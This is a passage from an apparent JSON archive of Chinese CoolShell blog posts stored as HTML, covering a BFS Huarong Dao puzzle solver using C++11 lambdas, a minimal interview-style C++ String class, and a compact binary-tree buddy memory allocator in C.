height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/19.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4951.html\">软件公司的两种管理方式</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/6312.html\"><img alt=\"一个女程序员的故事\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/4.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/6312.html\">一个女程序员的故事</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9508.html\"><img alt=\"PFIF网上寻人协议\" height=\"150\" src=\"../wp-content/uploads/2013/04/Google-Person-Finder-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9508.html\">PFIF网上寻人协议</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11973.html\"><img alt=\"bash代码注入的安全漏洞\" height=\"150\" src=\"../wp-content/uploads/2014/09/bashbug-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11973.html\">bash代码注入的安全漏洞</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/10652.html\">程序的本质复杂性和元语言抽象</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2013-10-9 C++11的Lambda使用一例：华容道求解.html",
    "content": "<html><body><p><strong>（感谢网友 <a href=\"http://weibo.com/u/1701018393?source=webim\" target=\"_blank\"><img alt=\"\" src=\"http://tp2.sinaimg.cn/1701018393/50/1297990315/1\"/></a><a href=\"http://weibo.com/u/1701018393?source=webim\" target=\"_blank\" title=\"bnu_chenshuo\"> @bnu_chenshuo </a>投稿）</strong></p>\n<p style=\"text-align: center;\"><img alt=\"\" class=\"wp-image-10490 alignright\" height=\"227\" src=\"../wp-content/uploads/2013/10/huarong.png\" width=\"365\"/></p>\n<p>华容道是一个有益的智力游戏，游戏规则不再赘述。用计算机求解华容道也是一道不错的编程练习题，为了寻求最少步数，求解程序一般用广度优先搜索算法。华容道的一种常见开局如图 1 所示。</p>\n<p>广度优先搜索算法求解华容道的基本步骤：</p>\n<ol>\n<li>准备两个“全局变量”，队列 Q 和和集合 S，S 代表“已知局面”。初时 Q 和 S 皆为空。</li>\n<li>将初始局面加入队列 Q 的末尾，并将初始局面设为已知。</li>\n<li>当队列不为空时，从 Q 的队首取出当前局面 <code>curr</code>。如果队列为空则结束搜索，表明无解。</li>\n<li>如果 <code>curr</code> 是最终局面（曹操位于门口，图 2），则结束搜索，否则继续到第 5 步。</li>\n<li>考虑 <code>curr</code> 中每个可以移动的棋子，试着上下左右移动一步，得到新局面 <code>next</code>，如果新局面未知（<code>next</code> ∉ S），则把它加入队列 Q，并设为已知。这一步可能产生多个新局面。</li>\n<li>回到第2步。</li>\n</ol>\n<p>其中“局面已知”并不要求每个棋子的位置相同，而是指棋子的投影的形状相同（代码中用 mask 表示），例如交换图 1 中的张飞和赵云并不产生新局面，这一规定可以大大缩小搜索空间。</p>\n<p>以上步骤很容易转换为 C++ 代码，这篇文章重点关注的是第 5 步的实现。</p>\n<p><span id=\"more-10476\"></span></p>\n<pre class=\"EnlighterJSRAW\">// 第 1 步\nstd::unordered_set&lt;Mask&gt; seen;\nstd::deque&lt;State&gt; queue;\n\n// 第 2 步\nState initial;\n// 填入 initial，略。\nqueue.push_back(initial);\nseen.insert(initial.toMask());\n\n// 第 3 步\nwhile (!queue.empty())\n{\n  const State curr = queue.front();\n  queue.pop_front();\n\n  // 第 4 步\n  if (curr.isSolved())\n    break;\n\n  // 第 5 步\n  for (const State&amp; next : curr.moves())\n  {\n    auto result = seen.insert(next.toMask());\n    if (result.second)\n      queue.push_back(next);\n  }\n}</pre>\n<p>在以上原始实现中，<code>curr.move()</code> 将返回一个 <code>std::vector&lt;State&gt;</code> 临时对象。一种节省开销的办法是准备一个 <code>std::vector&lt;State&gt;</code> “涂改变量”，让 <code>curr.move()</code> 反复修改它，比如改成：</p>\n<pre class=\"EnlighterJSRAW\">// 第 1 步新增一个 scratch 变量\nstd::vector&lt;State&gt; nextMoves;\n\n// 第 3 步\nwhile (!queue.empty())\n{\n  // ...\n  // 第 5 步\n  curr.fillMoves(&amp;nextMoves);\n  for (const State&amp; next : nextMoves)\n  { /* 略 */ }\n}</pre>\n<p>还有一种彻底不用这个 <code>std::vector&lt;State&gt;</code> 的办法，把一部分逻辑以 lambda 的形式传给 <code>curr.move()</code>，代码的结构基本不变：</p>\n<pre class=\"EnlighterJSRAW\">// 第 3 步\nwhile (!queue.empty())\n{\n  // ...\n  // 第 5 步\n  curr.move([&amp;seen, &amp;queue](const State&amp; next) {\n    auto result = seen.insert(next.toMask());\n    if (result.second)\n      queue.push_back(next);\n  });\n}</pre>\n<p>这样一来，主程序的逻辑依然清晰，不必要的开销也降到了最小。</p>\n<p>在我最早的实现中，<code>curr.move()</code> 的参数是 <code>const std::function&lt;void(const State&amp;)&gt; &amp;</code>，但是我发现这里每次构造 <code>std::function&lt;void(const State&amp;)&gt;</code> 对象都会分配一次内存，似乎有些不值。因此在现在的实现中 <code>curr.move()</code> 是个函数模板，这样就能自动匹配lambda参数（通常是个 struct 对象），省去了 <code>std::function</code>的内存分配。</p>\n<p>本文完整的代码见 <a href=\"https://github.com/chenshuo/recipes/blob/master/puzzle/huarong.cc\">https://github.com/chenshuo/recipes/…/puzzle/huarong.cc</a>，需用 GCC 4.7 编译，求解图 1 的题目的耗时约几十毫秒。</p>\n<p><strong>练习：</strong>修改程序，打印每一步移动棋子的情况。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22422.html\"><img alt=\"是微服务架构不香还是云不香？\" height=\"150\" src=\"../wp-content/uploads/2023/05/monolith.microservices-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22422.html\">是微服务架构不香还是云不香？</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20845.html\"><img alt=\"Rust语言的编程范式\" height=\"150\" src=\"../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20845.html\">Rust语言的编程范式</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18024.html\"><img alt=\"API设计原则 – Qt官网的设计实践总结\" height=\"150\" src=\"../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18024.html\">API设计原则 – Qt官网的设计实践总结</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12052.html\"><img alt=\"Leetcode 编程训练\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12052.html\">Leetcode 编程训练</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12012.html\"><img alt=\"State Threads 回调终结者\" height=\"150\" src=\"../wp-content/uploads/2014/10/edsm-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12012.html\">State Threads 回调终结者</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/10476.html\">C++11的Lambda使用一例：华容道求解</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2013-10-9 C++面试中string类的一种正确写法.html",
    "content": "<html><body><p><strong>（感谢网友 <a href=\"http://weibo.com/u/1701018393?source=webim\" target=\"_blank\"><img alt=\"\" src=\"http://tp2.sinaimg.cn/1701018393/50/1297990315/1\"/></a><a href=\"http://weibo.com/u/1701018393?source=webim\" target=\"_blank\" title=\"bnu_chenshuo\"> @bnu_chenshuo </a>投稿）</strong></p>\n<p>C++ 的一个常见面试题是让你实现一个 String 类，限于时间，不可能要求具备 std::string 的功能，但至少要求能正确管理资源。具体来说：</p>\n<ol>\n<li>能像 int 类型那样定义变量，并且支持赋值、复制。</li>\n<li>能用作函数的参数类型及返回类型。</li>\n<li>能用作标准库容器的元素类型，即 vector/list/deque 的 value_type。（用作 std::map 的 key_type 是更进一步的要求，本文从略）。</li>\n</ol>\n<p>换言之，你的 String 能让以下代码编译运行通过，并且没有内存方面的错误。</p>\n<pre class=\"EnlighterJSRAW\">void foo(String x)\n{\n}\n\nvoid bar(const String&amp; x)\n{\n}\n\nString baz()\n{\n  String ret(\"world\");\n  return ret;\n}\n\nint main()\n{\n  String s0;\n  String s1(\"hello\");\n  String s2(s0);\n  String s3 = s1;\n  s2 = s1;\n\n  foo(s1);\n  bar(s1);\n  foo(\"temporary\");\n  bar(\"temporary\");\n  String s4 = baz();\n\n  std::vector&lt;String&gt; svec;\n  svec.push_back(s0);\n  svec.push_back(s1);\n  svec.push_back(baz());\n  svec.push_back(\"good job\");\n}</pre>\n<p><span id=\"more-10478\"></span>本文给出我认为适合面试的答案，强调正确性及易实现（白板上写也不会错），不强调效率。某种意义上可以说是以时间（运行快慢）换空间（代码简洁）。</p>\n<p>首先选择数据成员，最简单的 String 只有一个 char* 成员变量。好处是容易实现，坏处是某些操作的复杂度较高（例如 size() 会是线性时间）。为了面试时写代码不出错，本文设计的 String 只有一个 char* data_成员。而且规定 invariant 如下：一个 valid 的 string 对象的 data_ 保证不为 NULL，data_ 以 <code>'\\0'</code> 结尾，以方便配合 C 语言的 str*() 系列函数。</p>\n<p>其次决定支持哪些操作，构造、析构、拷贝构造、赋值这几样是肯定要有的（以前合称 big three，现在叫 copy control）。如果钻得深一点，C++11的移动构造和移动赋值也可以有。为了突出重点，本文就不考虑 operator[] 之类的重载了。</p>\n<p>这样代码基本上就定型了：</p>\n<pre class=\"EnlighterJSRAW\">#include &lt;utility&gt;\n#include &lt;string.h&gt;\n\nclass String\n{\n public:\n  String()\n    : data_(new char[1])\n  {\n    *data_ = '\\0';\n  }\n\n  String(const char* str)\n    : data_(new char[strlen(str) + 1])\n  {\n    strcpy(data_, str);\n  }\n\n  String(const String&amp; rhs)\n    : data_(new char[rhs.size() + 1])\n  {\n    strcpy(data_, rhs.c_str());\n  }\n  /* Delegate constructor in C++11\n  String(const String&amp; rhs)\n    : String(rhs.data_)\n  {\n  }\n  */\n\n  ~String()\n  {\n    delete[] data_;\n  }\n\n  /* Traditional:\n  String&amp; operator=(const String&amp; rhs)\n  {\n    String tmp(rhs);\n    swap(tmp);\n    return *this;\n  }\n  */\n  String&amp; operator=(String rhs) // yes, pass-by-value\n  {\n    swap(rhs);\n    return *this;\n  }\n\n  // C++ 11\n  String(String&amp;&amp; rhs)\n    : data_(rhs.data_)\n  {\n    rhs.data_ = nullptr;\n  }\n\n  String&amp; operator=(String&amp;&amp; rhs)\n  {\n    swap(rhs);\n    return *this;\n  }\n\n  // Accessors\n\n  size_t size() const\n  {\n    return strlen(data_);\n  }\n\n  const char* c_str() const\n  {\n    return data_;\n  }\n\n  void swap(String&amp; rhs)\n  {\n    std::swap(data_, rhs.data_);\n  }\n\n private:\n  char* data_;\n};</pre>\n<p>注意代码的几个要点：</p>\n<ol>\n<li>只在构造函数里调用 new char[]，只在析构函数里调用 delete[]。</li>\n<li>赋值操作符采用了《C++编程规范》推荐的现代写法。</li>\n<li>每个函数都只有一两行代码，没有条件判断。</li>\n<li>析构函数不必检查 data_ 是否为 NULL。</li>\n<li>构造函数 <code>String(const char* str)</code> 没有检查 str 的合法性，这是一个永无止境的争论话题。这里在初始化列表里就用到了 str，因此在函数体内用 assert() 是无意义的。</li>\n</ol>\n<p>这恐怕是最简洁的 String 实现了。</p>\n<p><strong>练习1</strong>：增加 operator==、operator&lt;、operator[] 等操作符重载。</p>\n<p><strong>练习2</strong>：实现一个带 int size_; 成员的版本，以空间换时间。</p>\n<p><strong>练习3</strong>：受益于右值引用及移动语意，在 C++11 中对 String 实施直接插入排序的性能比C++98/03要高，试编程验证之。（g++的标准库也用到了此技术。）</p>\n<p>陈皓注：同时，大家可以移步看看我的一篇老文《<a href=\"http://blog.csdn.net/haoel/article/details/1491219\" target=\"_blank\">STL中String类的问题</a>》<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12052.html\"><img alt=\"Leetcode 编程训练\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12052.html\">Leetcode 编程训练</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7965.html\"><img alt=\"一个fork的面试题\" height=\"150\" src=\"../wp-content/uploads/2012/07/fork01jpg-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7965.html\">一个fork的面试题</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4162.html\"><img alt=\"又一个有趣的面试题\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4162.html\">又一个有趣的面试题</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3961.html\"><img alt=\"“火柴棍式”程序员面试题\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/21.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3961.html\">“火柴棍式”程序员面试题</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3738.html\"><img alt=\"打印质数的各种算法\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/26.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3738.html\">打印质数的各种算法</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3445.html\"><img alt=\"输出从1到1000的数\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3445.html\">输出从1到1000的数</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/10478.html\">C++面试中string类的一种正确写法</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2013-10-9 伙伴分配器的一个极简实现.html",
    "content": "<html><body><p><strong>（感谢网友 </strong><a href=\"http://weibo.com/fullofbull\" target=\"_blank\"><strong>@我的上铺叫路遥</strong></a><strong> 投稿）</strong></p>\n<p>提起buddy system相信很多人不会陌生，它是一种经典的内存分配算法，大名鼎鼎的Linux底层的内存管理用的就是它。这里不探讨内核这么复杂实现，而仅仅是将该算法抽象提取出来，同时给出一份及其简洁的源码实现，以便定制扩展。</p>\n<p>伙伴分配的实质就是一种特殊的<strong>“分离适配”</strong>，即将内存按2的幂进行划分，相当于分离出若干个块大小一致的空闲链表，搜索该链表并给出同需求最佳匹配的大小。其优点是快速搜索合并（O(logN)时间复杂度）以及低外部碎片（最佳适配best-fit）；其缺点是内部碎片，因为按2的幂划分块，如果碰上66单位大小，那么必须划分128单位大小的块。但若需求本身就按2的幂分配，比如可以先分配若干个内存池，在其基础上进一步细分就很有吸引力了。</p>\n<p>可以在<a href=\"http://en.wikipedia.org/wiki/Buddy_memory_allocation\" target=\"_blank\">维基百科</a>上找到该算法的描述，大体如是：</p>\n<p><strong>分配内存：</strong></p>\n<p>1.寻找大小合适的内存块（大于等于所需大小并且最接近2的幂，比如需要27，实际分配32）</p>\n<p style=\"padding-left: 30px;\">1.如果找到了，分配给应用程序。<br/>\n2.如果没找到，分出合适的内存块。</p>\n<p style=\"padding-left: 60px;\">1.对半分离出高于所需大小的空闲内存块<br/>\n2.如果分到最低限度，分配这个大小。<br/>\n3.回溯到步骤1（寻找合适大小的块）<br/>\n4.重复该步骤直到一个合适的块</p>\n<p><span id=\"more-10427\"></span></p>\n<p><strong>释放内存：</strong></p>\n<p>1.释放该内存块</p>\n<p style=\"padding-left: 30px;\">1.寻找相邻的块，看其是否释放了。<br/>\n2.如果相邻块也释放了，合并这两个块，重复上述步骤直到遇上未释放的相邻块，或者达到最高上限（即所有内存都释放了）。</p>\n<p>上面这段文字对你来说可能看起来很费劲，没事，我们看个内存分配和释放的示意图你就知道了：</p>\n<p><img alt=\"\" class=\"aligncenter size-full wp-image-10504\" height=\"346\" src=\"../wp-content/uploads/2013/10/buddy-memory-allocation.jpg\" width=\"598\"/></p>\n<p>上图中，首先我们假设我们一个内存块有1024K，当我们需要给A分配70K内存的时候，</p>\n<ol>\n<li>我们发现1024K的一半大于70K，然后我们就把1024K的内存分成两半，一半512K。</li>\n<li>然后我们发现512K的一半仍然大于70K，于是我们再把512K的内存再分成两半，一半是128K。</li>\n<li>此时，我们发现128K的一半小于70K，于是我们就分配为A分配128K的内存。</li>\n</ol>\n<p>后面的，B，C，D都这样，而释放内存时，则会把相邻的块一步一步地合并起来（合并也必需按分裂的逆操作进行合并）。</p>\n<p>我们可以看见，这样的算法，用二叉树这个数据结构来实现再合适不过了。</p>\n<p>我在网上分别找到<a href=\"https://github.com/cloudwu/buddy\" target=\"_blank\">cloudwu</a>和<a href=\"https://github.com/wuwenbin/buddy2\">wuwenbin</a>写的两份开源实现和测试用例。实际上后一份是对前一份的精简和优化，本文打算从后一份入手讲解，<strong>因为这份实现真正体现了“极简”二字，追求突破常规的，极致简单的设计。</strong>网友对其评价甚高，甚至可用作教科书标准实现，看完之后回过头来看cloudwu的代码就容易理解了。</p>\n<p>分配器的整体思想是，通过一个数组形式的完全二叉树来监控管理内存，二叉树的节点用于标记相应内存块的使用状态，高层节点对应大的块，低层节点对应小的块，在分配和释放中我们就通过这些节点的标记属性来进行块的分离合并。如图所示，假设总大小为16单位的内存，我们就建立一个深度为5的满二叉树，根节点从数组下标[0]开始，监控大小16的块；它的左右孩子节点下标[1~2]，监控大小8的块；第三层节点下标[3~6]监控大小4的块……依此类推。</p>\n<p style=\"text-align: center;\"><img alt=\"\" class=\"aligncenter wp-image-10502\" height=\"347\" src=\"../wp-content/uploads/2013/10/伙伴分配器.jpg\" width=\"591\"/></p>\n<p>在分配阶段，首先要搜索大小适配的块，假设第一次分配3，转换成2的幂是4，我们先要对整个内存进行对半切割，从16切割到4需要两步，那么从下标[0]节点开始深度搜索到下标[3]的节点并将其标记为已分配。第二次再分配3那么就标记下标[4]的节点。第三次分配6，即大小为8，那么搜索下标[2]的节点，因为下标[1]所对应的块被下标[3~4]占用了。</p>\n<p>在释放阶段，我们依次释放上述第一次和第二次分配的块，即先释放[3]再释放[4]，当释放下标[4]节点后，我们发现之前释放的[3]是相邻的，于是我们立马将这两个节点进行合并，这样一来下次分配大小8的时候，我们就可以搜索到下标[1]适配了。若进一步释放下标[2]，同[1]合并后整个内存就回归到初始状态。</p>\n<p>还是看一下源码实现吧，首先是伙伴分配器的数据结构：</p>\n<pre class=\"EnlighterJSRAW\">struct buddy2 {\n  unsigned size;\n  unsigned longest[1];\n};</pre>\n<p>这里的成员size表明管理内存的总单元数目（测试用例中是32），成员longest就是二叉树的节点标记，表明所对应的内存块的空闲单位，<strong>在下文中会分析这是整个算法中最精妙的设计。</strong>此处数组大小为1表明这是可以向后扩展的（注：在GCC环境下你可以写成longest[0]，不占用空间，这里是出于可移植性考虑），我们在分配器初始化的buddy2_new可以看到这种用法。</p>\n<pre class=\"EnlighterJSRAW\">struct buddy2* buddy2_new( int size ) {\n  struct buddy2* self;\n  unsigned node_size;\n  int i;\n\n  if (size &lt; 1 || !IS_POWER_OF_2(size))\n    return NULL;\n\n  self = (struct buddy2*)ALLOC( 2 * size * sizeof(unsigned));\n  self-&gt;size = size;\n  node_size = size * 2;\n\n  for (i = 0; i &lt; 2 * size - 1; ++i) {\n    if (IS_POWER_OF_2(i+1))\n      node_size /= 2;\n    self-&gt;longest[i] = node_size;\n  }\n  return self;\n}</pre>\n<p>整个分配器的大小就是满二叉树节点数目，即所需管理内存单元数目的2倍。一个节点对应4个字节，longest记录了节点所对应的的内存块大小。</p>\n<p>内存分配的alloc中，入参是分配器指针和需要分配的大小，返回值是内存块索引。alloc函数首先将size调整到2的幂大小，并检查是否超过最大限度。然后进行适配搜索，深度优先遍历，当找到对应节点后，<strong>将其longest标记为0，即分离适配的块出来，</strong>并转换为内存块索引offset返回，依据二叉树排列序号，比如内存总体大小32，我们找到节点下标[8]，内存块对应大小是4，则offset = (8+1)*4-32 = 4，那么分配内存块就从索引4开始往后4个单位。</p>\n<pre class=\"EnlighterJSRAW\">int buddy2_alloc(struct buddy2* self, int size) {\n  unsigned index = 0;\n  unsigned node_size;\n  unsigned offset = 0;\n\n  if (self==NULL)\n    return -1;\n\n  if (size &lt;= 0)\n    size = 1;\n  else if (!IS_POWER_OF_2(size))\n    size = fixsize(size);\n\n  if (self-&gt;longest[index] &lt; size)\n    return -1;\n\n  for(node_size = self-&gt;size; node_size != size; node_size /= 2 ) {\n    if (self-&gt;longest[LEFT_LEAF(index)] &gt;= size)\n      index = LEFT_LEAF(index);\n    else\n      index = RIGHT_LEAF(index);\n  }\n\n  self-&gt;longest[index] = 0;\n  offset = (index + 1) * node_size - self-&gt;size;\n\n  while (index) {\n    index = PARENT(index);\n    self-&gt;longest[index] =\n      MAX(self-&gt;longest[LEFT_LEAF(index)], self-&gt;longest[RIGHT_LEAF(index)]);\n  }\n\n  return offset;\n}</pre>\n<p>在函数返回之前需要回溯，因为小块内存被占用，大块就不能分配了，比如下标[8]标记为0分离出来，那么其父节点下标[0]、[1]、[3]也需要相应大小的分离。<strong>将它们的longest进行折扣计算，取左右子树较大值，</strong>下标[3]取4，下标[1]取8，下标[0]取16，表明其对应的最大空闲值。</p>\n<p>在内存释放的free接口，我们只要传入之前分配的内存地址索引，并确保它是有效值。之后就跟alloc做反向回溯，从最后的节点开始一直往上找到longest为0的节点，即当初分配块所适配的大小和位置。<strong>我们将longest恢复到原来满状态的值。继续向上回溯，检查是否存在合并的块，依据就是左右子树longest的值相加是否等于原空闲块满状态的大小，如果能够合并，就将父节点longest标记为相加的和</strong>（多么简单！）。</p>\n<pre class=\"EnlighterJSRAW\">void buddy2_free(struct buddy2* self, int offset) {\n  unsigned node_size, index = 0;\n  unsigned left_longest, right_longest;\n\n  assert(self &amp;&amp; offset &gt;= 0 &amp;&amp; offset &lt; size);\n\n  node_size = 1;\n  index = offset + self-&gt;size - 1;\n\n  for (; self-&gt;longest[index] ; index = PARENT(index)) {\n    node_size *= 2;\n    if (index == 0)\n      return;\n  }\n\n  self-&gt;longest[index] = node_size;\n\n  while (index) {\n    index = PARENT(index);\n    node_size *= 2;\n\n    left_longest = self-&gt;longest[LEFT_LEAF(index)];\n    right_longest = self-&gt;longest[RIGHT_LEAF(index)];\n\n    if (left_longest + right_longest == node_size)\n      self-&gt;longest[index] = node_size;\n    else\n      self-&gt;longest[index] = MAX(left_longest, right_longest);\n  }\n}</pre>\n<p>上面两个成对alloc/free接口的时间复杂度都是O(logN)，保证了程序运行性能。然而这段程序设计的独特之处就在于<strong>使用加权来标记内存空闲状态，而不是一般的有限状态机，实际上longest既可以表示权重又可以表示状态，状态机就毫无必要了，所谓“少即是多”嘛！</strong>反观cloudwu的实现，将节点标记为UNUSED/USED/SPLIT/FULL四个状态机，反而会带来额外的条件判断和管理实现，而且还不如数值那样精确。从逻辑流程上看，wuwenbin的实现简洁明了如同教科书一般，特别是左右子树的走向，内存块的分离合并，块索引到节点下标的转换都是一步到位，不像cloudwu充斥了大量二叉树的深度和长度的间接计算，让代码变得晦涩难读，这些都是longest的功劳。<strong>一个“极简”的设计往往在于你想不到的突破常规思维的地方。</strong></p>\n<p>这份代码唯一的缺陷就是longest的大小是4字节，内存消耗大。但<a href=\"http://blog.codingnow.com/2011/12/buddy_memory_allocation.html\" target=\"_blank\">cloudwu的博客</a>上有人提议用logN来保存值，这样就能实现uint8_t大小了，<strong>看，又是一个“极简”的设计！</strong></p>\n<p>说实话，很难在网上找到比这更简约更优雅的buddy system实现了——至少在Google上如此。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17225.html\"><img alt=\"Cuckoo Filter：设计与实现\" height=\"150\" src=\"../wp-content/uploads/2015/08/cuckoo-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17225.html\">Cuckoo Filter：设计与实现</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12052.html\"><img alt=\"Leetcode 编程训练\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12052.html\">Leetcode 编程训练</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11847.html\"><img alt=\"谜题的答案和活动的心得体会\" height=\"150\" src=\"../wp-content/uploads/2014/08/puzzle-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11847.html\">谜题的答案和活动的心得体会</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11832.html\"><img alt=\"【活动】解迷题送礼物\" height=\"150\" src=\"../wp-content/uploads/2014/08/538efefbgw1eiz9cvx78fj20rm0fmdi8-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11832.html\">【活动】解迷题送礼物</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/10590.html\"><img alt=\"二维码的生成细节和原理\" height=\"150\" src=\"../wp-content/uploads/2013/10/QR-Code-Overview-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/10590.html\">二维码的生成细节和原理</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9886.html\"><img alt=\"二叉树迭代器算法\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/8.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" 